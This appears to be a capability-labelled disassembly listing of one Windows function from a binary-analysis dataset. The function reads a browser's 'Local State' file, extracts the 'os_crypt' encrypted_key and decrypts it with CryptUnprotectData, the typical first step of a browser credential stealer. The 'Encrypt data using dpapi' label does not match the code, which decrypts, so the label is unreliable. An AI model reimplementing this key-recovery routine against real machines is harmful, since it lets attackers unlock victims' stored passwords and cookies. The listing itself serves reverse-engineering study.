Function at 0x40c210
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471ba6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x198
mov eax, dword [0x494054]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x178], edi
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x148], edi
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x198]
xor eax, eax
mov dword [ebp - 0x198], 0
push 0x488cb4
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 7
mov word [ebp - 0x198], ax
call fcn.00406110
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x38], 0
push str._temp_log
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
mov word [ebp - 0x38], ax
call fcn.00406110
lea eax, [ebx + 8]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x170]
call fcn.00415920
mov byte [ebp - 4], 4
xor esi, esi
mov edi, dword [ebp - 0x188]
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
push dword [ebp - 0x28]
mov edx, dword [ebp - 0x160]
cmovae eax, ecx
cmp dword [ebp - 0x15c], 8
lea ecx, [ebp - 0x170]
push eax
cmovae ecx, dword [ebp - 0x170]
push esi
call fcn.00417830
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x40c358
cmp dword [ebp - 0x184], 8
lea eax, [ebp - 0x198]
push edi
cmovae eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x170]
push eax
push dword [ebp - 0x28]
push esi
call fcn.00416680
mov edi, dword [ebp - 0x188]
add esi, edi
jmp 0x40c2ee
movq xmm1, qword [ebp - 0x160]
xor eax, eax
movups xmm0, xmmword [ebp - 0x170]
mov edi, dword [ebp - 0x178]
mov byte [ebp - 4], 3
mov edx, dword [ebx + 0x1c]
movq qword [ebp - 0x1a0], xmm1
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 7
mov word [ebp - 0x170], ax
movups xmmword [ebp - 0x48], xmm0
cmp edx, 8
jb 0x40c3e0
mov ecx, dword [ebx + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c3ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf28
push edx
push ecx
call fcn.0044c564
movups xmm0, xmmword [ebp - 0x48]
add esp, 8
movq xmm1, qword [ebp - 0x1a0]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x24]
movq qword [ebx + 0x18], xmm1
movups xmmword [ebx + 8], xmm0
cmp eax, 8
jb 0x40c427
mov ecx, dword [ebp - 0x38]
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c41d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf28
push edx
push ecx
call fcn.0044c564
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x184]
cmp edx, 8
jb 0x40c46b
mov ecx, dword [ebp - 0x198]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c461
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf28
push edx
push ecx
call fcn.0044c564
add esp, 8
push 0xb8
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.0044e510
mov ecx, dword [ebx + 0x18]
mov eax, 0x7ffffffe
sub eax, ecx
add esp, 0xc
cmp eax, 0x12
jb 0x40cf2d
cmp dword [ebx + 0x1c], 8
lea eax, [ebx + 8]
push 0x12
cmovae eax, dword [ebx + 8]
push str.....Local_State
push ecx
push eax
push ecx
push dword [ebp - 0x148]
lea ecx, [ebp - 0x170]
call fcn.0040a280
mov byte [ebp - 4], 5
lea eax, [ebp - 0x170]
cmp dword [ebp - 0x15c], 8
lea ecx, [ebp - 0x118]
cmovae eax, dword [ebp - 0x170]
sub esp, 0xc
push eax
call fcn.00414310
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x11c], eax
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x15c]
cmp edx, 8
jb 0x40c54c
mov ecx, dword [ebp - 0x170]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c542
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf32
push edx
push ecx
call fcn.0044c564
add esp, 8
xor eax, eax
mov dword [ebp - 0x160], 0
xorps xmm0, xmm0
mov dword [ebp - 0x15c], 7
push eax
lea ecx, [ebp - 0x60]
mov word [ebp - 0x170], ax
movups xmmword [ebp - 0x60], xmm0
movq qword [ebp - 0x50], xmm0
call fcn.0043b8e0
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0043f200
add esp, 8
lea ecx, [ebp - 0x108]
call fcn.00416130
test eax, eax
jne 0x40c5cf
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x118]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.0040b0f0
lea eax, [ebp - 0x170]
push eax
push str.encrypted_key
push str.os_crypt
lea ecx, [ebp - 0x60]
call fcn.0043c2d0
mov ecx, eax
call fcn.0043c2d0
mov ecx, eax
call fcn.0043ccd0
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x40c630
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c626
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf37
push edx
push ecx
call fcn.0044c564
add esp, 8
lea eax, [ebp - 0x170]
mov dword [ebp - 0x18], 0
push eax
push str.encrypted_key
xorps xmm0, xmm0
lea ecx, [ebp - 0x60]
push str.os_crypt
movq qword [ebp - 0x20], xmm0
call fcn.0043c2d0
mov ecx, eax
call fcn.0043c2d0
mov ecx, eax
call fcn.0043ccd0
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x20]
call fcn.00401770
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x40c6b2
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c6a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf3c
push edx
push ecx
call fcn.0044c564
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
lea eax, [ecx + 5]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x1c]
sub eax, ecx
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x128]
push eax
push 0
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x10
push eax
push 0
push 0
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x13c], 2
push eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x134], str.This_is_a_user_prompt.
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x40ce04
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
xor eax, eax
movq qword [ebp - 0x44], xmm0
xor ecx, ecx
mov dword [ebp - 0x174], eax
xor edi, edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x3c], ecx
xor esi, esi
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x128], esi
jbe 0x40c7c9
nop
mov eax, dword [ebp - 0x124]
mov al, byte [eax + esi]
mov byte [ebp - 0x149], al
cmp edi, ecx
je 0x40c79b
mov byte [edi], al
inc edi
mov dword [ebp - 0x40], edi
jmp 0x40c7b1
lea eax, [ebp - 0x149]
push eax
push edi
lea ecx, [ebp - 0x44]
call fcn.00401d90
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x40]
inc esi
cmp esi, dword [ebp - 0x128]
jb 0x40c780
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x174], eax
push ecx
push edi
push eax
lea ecx, [ebp - 0x198]
call fcn.004029e0
push 0x20
push str.Got_secret_key_from_Local_State
push 0
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.0040a520
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x160], xmm0
mov edx, dword [ebp - 0x15c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp edx, 0x10
jb 0x40c84d
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c843
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf41
push edx
push ecx
call fcn.0044c564
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x184]
cmp edx, 0x10
jb 0x40c88b
mov ecx, dword [ebp - 0x198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c881
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf41
push edx
push ecx
call fcn.0044c564
add esp, 8
push dword [ebp - 0x11c]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push dword [ebp - 0x124]
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
lea edx, [ebx + 0x20]
movq qword [ebp - 0x2c], xmm0
lea ecx, [ebp - 0x2c]
call fcn.00401770
mov byte [ebp - 4], 0xe
sub esp, 0xc
mov esi, dword [ebp - 0x28]
mov ecx, esp
mov eax, esi
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x1a4], esp
mov dword [ebp - 0x144], ecx
lea edx, [esi - 0x10]
mov dword [ecx], 0
sub eax, edx
mov dword [ebp - 0x150], edx
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ebp - 0x154], eax
je 0x40c948
cmp eax, 0x7fffffff
ja 0x40cf46
push eax
call fcn.00402960
push dword [ebp - 0x154]
mov edi, dword [ebp - 0x144]
push dword [ebp - 0x150]
mov edi, dword [edi]
push edi
call fcn.0044df90
mov eax, dword [ebp - 0x144]
add esp, 0xc
sub esi, dword [ebp - 0x150]
add esi, edi
mov edi, dword [ebp - 0x40]
mov dword [eax + 4], esi
mov byte [ebp - 4], 0xf
sub esp, 0xc
mov eax, dword [ebp - 0x2c]
mov esi, esp
mov dword [ebp - 0x1a8], esp
mov dword [ebp - 0x148], esi
lea edx, [eax + 0xf]
mov dword [esi], 0
lea ecx, [eax + 3]
mov dword [ebp - 0x150], edx
mov eax, edx
mov dword [ebp - 0x144], ecx
sub eax, ecx
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 0x154], eax
je 0x40c9d1
cmp eax, 0x7fffffff
ja 0x40cf4b
push eax
mov ecx, esi
call fcn.00402960
push dword [ebp - 0x154]
mov esi, dword [esi]
push dword [ebp - 0x144]
push esi
call fcn.0044df90
mov eax, dword [ebp - 0x148]
add esp, 0xc
sub esi, dword [ebp - 0x144]
add esi, dword [ebp - 0x150]
mov dword [eax + 4], esi
mov byte [ebp - 4], 0x10
sub esp, 0xc
mov edx, dword [ebp - 0x28]
mov esi, esp
mov ecx, dword [ebp - 0x2c]
add edx, 0xfffffff0
add ecx, 0xf
mov dword [ebp - 0x154], edx
mov eax, edx
mov dword [ebp - 0x144], ecx
sub eax, ecx
mov dword [ebp - 0x19c], esp
mov dword [ebp - 0x150], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 0x148], eax
je 0x40ca5d
cmp eax, 0x7fffffff
ja 0x40cf50
push eax
mov ecx, esi
call fcn.00402960
push dword [ebp - 0x148]
mov esi, dword [esi]
push dword [ebp - 0x144]
push esi
call fcn.0044df90
mov eax, dword [ebp - 0x150]
add esp, 0xc
sub esi, dword [ebp - 0x144]
add esi, dword [ebp - 0x154]
mov dword [eax + 4], esi
mov esi, dword [ebp - 0x174]
sub esp, 0xc
mov byte [ebp - 4], 0x11
mov ecx, esp
mov dword [ebp - 0x144], ecx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
cmp esi, edi
je 0x40cabf
mov esi, edi
sub esi, dword [ebp - 0x174]
push esi
call fcn.00402960
mov edi, dword [ebp - 0x144]
push esi
mov esi, dword [ebp - 0x174]
push esi
mov edi, dword [edi]
push edi
call fcn.0044df90
mov eax, dword [ebp - 0x144]
sub edi, esi
add esp, 0xc
add edi, dword [ebp - 0x40]
mov dword [eax + 4], edi
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0xe
call fcn.00402020
mov edi, dword [ebp - 0x178]
add esp, 0x30
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
test al, al
jne 0x40cc98
mov edx, dword [ebp - 0x120]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x148], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cb07
sub ecx, dword [ebp - 0x148]
push ecx
push edx
mov ecx, edi
call fcn.00401bb0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x40cb66
mov edx, dword [ebp - 0x24]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40cb47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
test esi, esi
je 0x40cb9a
mov ecx, dword [ebp - 0x17c]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40cb90
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push ecx
push esi
call fcn.0044c564
add esp, 8
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40cbe3
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40cbc4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x60]
call fcn.0043bdb0
lea ecx, [ebp - 0x118]
call fcn.0040c110
mov edx, dword [ebx + 0x1c]
cmp edx, 8
jb 0x40cc30
mov ecx, dword [ebx + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40cc26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov edx, dword [ebx + 0x34]
xor eax, eax
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 7
mov word [ebx + 8], ax
cmp edx, 0x10
jb 0x40cc78
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40cc6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044c0d8
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0x4886f4
mov ecx, edi
call fcn.00401bb0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x40ccef
mov edx, dword [ebp - 0x24]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40ccd0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
test esi, esi
je 0x40cd23
mov ecx, dword [ebp - 0x17c]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40cd19
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push ecx
push esi
call fcn.0044c564
add esp, 8
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40cd6c
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40cd4d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x60]
call fcn.0043bdb0
lea ecx, [ebp - 0x118]
call fcn.0040c110
mov edx, dword [ebx + 0x1c]
cmp edx, 8
jb 0x40cdb9
mov ecx, dword [ebx + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40cdaf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov edx, dword [ebx + 0x34]
xor eax, eax
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 7
mov word [ebx + 8], ax
cmp edx, 0x10
jb 0x40cc78
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40cc6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
jmp 0x40cc6e
push 0x11
push str.Decryption_error_
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
call fcn.00401bb0
mov edx, dword [ebp - 0x184]
cmp edx, 0x10
jb 0x40ce6e
mov ecx, dword [ebp - 0x198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ce64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
push 0
mov dword [edi], 0
mov ecx, edi
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
push 0x4886f4
mov byte [edi], 0
call fcn.00401bb0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40cedc
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40cebd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
push edx
push ecx
call fcn.0044c564
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x60]
call fcn.0043bdb0
lea ecx, [ebp - 0x118]
call fcn.0040c110
mov edx, dword [ebx + 0x1c]
cmp edx, 8
jb 0x40cdb9
mov ecx, dword [ebx + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40cdaf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf55
jmp 0x40cdaf
call fcn.00450fe0
call fcn.00401760
call fcn.00450fe0
call fcn.00450fe0
call fcn.00450fe0
call fcn.00450fe0
call fcn.00402010
call fcn.00402010
call fcn.00402010
call fcn.00450fe0
int3